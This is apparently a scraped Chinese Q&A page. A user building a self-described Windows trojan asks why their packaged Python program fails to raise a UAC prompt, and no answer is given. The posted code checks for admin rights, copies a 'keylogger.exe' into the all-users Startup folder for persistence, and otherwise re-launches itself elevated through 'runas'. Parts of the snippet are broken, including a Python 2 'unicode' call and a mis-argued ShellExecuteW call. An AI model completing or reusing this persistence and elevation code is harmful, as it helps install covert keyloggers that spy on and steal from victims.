问题描述
我正在创建一个简单的 Windows 特洛伊木马,用于教育目的。我正在努力将文件复制到启动。当从 CMD 执行该代码时,它按预期工作,但在转换为 exe 后,它停止工作,因为不会出现 UAC 弹出窗口。我尝试从 auto-py-to-exe 请求 UAC,但没有帮助。你知道如何让它工作吗?
def is_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
if is_admin():
shutil.copy(os.path.abspath("keylogger.exe"),r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp");
else:
#treid but doesnt work as well# ctypes.windll.shell32.ShellExecuteW(None,"runas",sys.executable," ".join(sys.argv),None,1)
ctypes.windll.shell32.ShellExecuteW(None,u"runas",unicode(sys.executable),unicode(" ".join(sys.argv)),1)
解决方法
暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!
如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。
小编邮箱:dio#foxmail.com (将#修改为@)